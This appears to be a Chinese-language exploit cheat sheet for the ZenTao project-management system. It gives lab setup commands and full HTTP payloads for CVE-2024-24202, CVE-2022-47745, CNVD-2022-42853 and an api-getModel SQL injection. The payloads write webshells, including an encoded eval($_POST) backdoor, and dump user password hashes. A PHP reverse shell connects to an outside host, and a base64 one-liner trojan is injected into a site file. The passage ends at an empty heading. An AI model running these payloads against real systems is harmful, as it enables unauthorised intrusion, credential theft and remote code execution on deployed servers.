抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

阅读前注意事项

  1. 代码块中未展示具体数据包细节,仅提供URL的均为GET请求方式数据包
  2. 使用Payload时须确保请求包包含有效的Referer请求头
  3. 漏洞排序按照漏洞类型分类,可通过搜索CVE编号快速定位payload

版本号探测

查看当前禅道版本号:

1
/zentao/index.php?mode=getconfig

恶意插件Getshell

CVE-2024-24202

漏洞编号:CVE-2024-24202
利用条件:需要认证
影响版本:【开源版】<=v18.10、【商业版】<=8.10、【旗舰版】<=4.10
漏洞描述:ZenTao Community Edition v.18.10及之前版本,ZenTao Biz v8.10及之前版本,ZenTao Max v.4.10及之前版本的一个问题允许经过身份验证的攻击者通过旁路执行任意代码来创建ok.txt并实现后门插件安装。
修复建议:
测试环境:idoop/zentao:18.5
参考文章:https://clammy-blizzard-8ef.notion.site/Zentao-PMS-Authorized-Remote-Code-Execution-Vulnerability-1077a870c92848e18fe0c139c4fc2176

环境部署

1
docker run -d --name zentao1800 -p 1098:80 easysoft/zentao:18.3

Payload && Exploit

1
2
3
4
5
6
7
8
POST /zentao/upgrade-moveExtFiles-0.html HTTP/1.1
Host: 127.0.0.1:1085
Referer: http://127.0.0.1:1085/zentao/upgrade-moveExtFiles-0.html
Cookie: lang=zh-cn; theme=default; device=desktop; zentaosid=a0cbc961feedd2e1b7cbe2c6449093b9; tab=my; hidePatch=true; windowWidth=1281; windowHeight=801; lang=zh-cn; device=desktop; theme=default
Content-Type: application/x-www-form-urlencoded
Content-Length: 85

files[]=../../../../../../../../../../../../../../opt/zbox/app/zentao/www/data/ok.txt

Linux后渗透利用中,本地由于Docker镜像原因,写入的Webshell未解析直接下载,x.php无权限修改无法注入webshell,可通过反弹shell的方式实现后渗透的利用

1
2
3
4
5
6
7
8
// 反弹shell
$sock = fsockopen("192.168.96.1", 2333);
$proc = proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);

// 写入webshell
$maliciousFile = '/opt/zbox/app/zentao/www/test.php';
$maliciousContent = '<?php phpinfo(); ?>';
file_put_contents($maliciousFile, $maliciousContent);

Windows 后渗透利用中,反弹shell失败,采取往x.php中注入一句话木马,通过webshell的方式实现后续渗透

1
2
3
4
5
6
7
8
$filePath = 'C:\\Users\\t1sts\\Desktop\\ZenTao\\app\\zentao\\www\\x.php';

$lines = file($filePath);

$decodedCode = base64_decode("QGV2YWwoJF9QT1NUWydUMXN0cyddKTs=");
array_splice($lines, 1, 0, $decodedCode);

file_put_contents($filePath, implode('', $lines));

注意事项:

  1. Linux 测试环境为 Docker 镜像:idoop/zentao:18.5,Windows 测试环境为:一键安装版本 Zentao18.6
  2. 可在恶意插件中加上 phpinfo(); 可直观判断恶意插件是否成功执行
  3. x.php的目录是在ok.txt文件的前两层,也就是网站的www目录下。

SQL注入

CVE-2022-47745

漏洞编号:CVE-2022-47745
利用条件:需要认证
影响版本:【开源版】17.4 - 18.0.beta1、【商业版】7.4 - 8.0.beta1、【旗舰版】3.4 - 4.0.beta1
漏洞描述:禅道是中国易软天创网络科技(Nature Easy Soft Network Technology)公司的一套项目管理软件。其中 dbName 参数过滤不严格,存在SQL注入漏洞。
修复建议:
测试环境:easysoft/zentao:18.0.beta1
参考文章:

  1. https://github.com/ax1sX/SecurityList/blob/main/Other_OA/Zentao.md
  2. https://blog.evi1s.com/2023/01/13/Zentao-RCE/#Cron-to-RCE

环境部署

1
docker run -d --name zentao1099 -p 1099:80 easysoft/zentao:18.0.beta1

Payload && Exploit

判断漏洞是否存在

1
2
3
4
5
6
7
8
9
10
POST /convert-importNotice.html HTTP/1.1
Host: 127.0.0.1:1099
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1:1099/my.html
Cookie: zentaosid=a2s7danmcak9b9ueh8qnb3buf6; lang=zh-cn; device=desktop; theme=default; windowWidth=1219; windowHeight=745; tab=doc
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 26

dbName=a';SELECT+SLEEP(2)#

响应包

1
{"result":"fail","message":"无效的数据库名!"}

写入webshell

1
2
3
4
5
6
7
8
9
10
POST /convert-importNotice.html HTTP/1.1
Host: 127.0.0.1:1099
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1:1099/my.html
Cookie: zentaosid=a2s7danmcak9b9ueh8qnb3buf6; lang=zh-cn; device=desktop; theme=default; windowWidth=1219; windowHeight=745; tab=doc
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 136

dbName=a'%3B+SELECT+0x3c3f70687020406576616c28245f504f53545b275431737473275d293b203f3e+INTO+OUTFILE+'/www/zentaopms/www/test.php'%3b--%2b

响应包

1
{"result":"fail","message":"无效的数据库名!"}

CNVD-2022-42853

漏洞编号:CNVD-2022-42853
利用条件:无需认证
影响版本:【开源版】<=16.5,16.5beta1、【商业版】<=6.5,6.5beta1、【旗舰版】<=3.0,3.0beta1
漏洞描述:禅道存在前台SQL注入漏洞。攻击者可利用漏洞获取数据库敏感信息。
修复建议:
测试环境:easysoft/zentao:16.5
参考文章:

环境部署

1
docker run -d --name zentao1098 -p 1098:80 easysoft/zentao:16.5

Payload && Exploit

获取当前数据库用户

1
2
3
4
5
6
7
8
9
POST /zentao/user-login.html HTTP/1.1
Accept-Encoding: gzip, deflate, br
Content-Length: 92
Host: 127.0.0.1:1098
Content-Type: application/x-www-form-urlencoded
Referer: http://127.0.0.1:1098/zentao/user-login.html
Connection: keep-alive

account=admin%27+and++updatexml%281%2Cconcat%280x1%2Cuser%28%29%29%2C1%29+and+%271%27%3D%

写入webshell

1
2
3
4
5
6
7
8
9
POST /zentao/user-login.html HTTP/1.1
Accept-Encoding: gzip, deflate, br
Content-Length: 92
Host: 127.0.0.1:1098
Content-Type: application/x-www-form-urlencoded
Referer: http://127.0.0.1:1098/zentao/user-login.html
Connection: keep-alive

account=admin'%3bselect+'<?=phpinfo();'+into+outfile+'/www/zentaopms/www/4.php'%3b--%2b

api-getModel接口

漏洞编号: 暂无
利用条件:需要认证
影响版本:【开源版】=11.6
漏洞描述:禅道 11.6 版本中对用户接口调用权限过滤不完善,导致调用接口执行SQL语句导致SQL注入。
修复建议:
测试环境:idoop/zentao:11.6
参考文章:

环境部署

1
docker run -d --name zentao1106 -p 1106:80 idoop/zentao:11.6

Payload && Exploit

1
/zentao/api-getModel-api-sql-sql=select+account,password+from+zt_user

权限认证绕过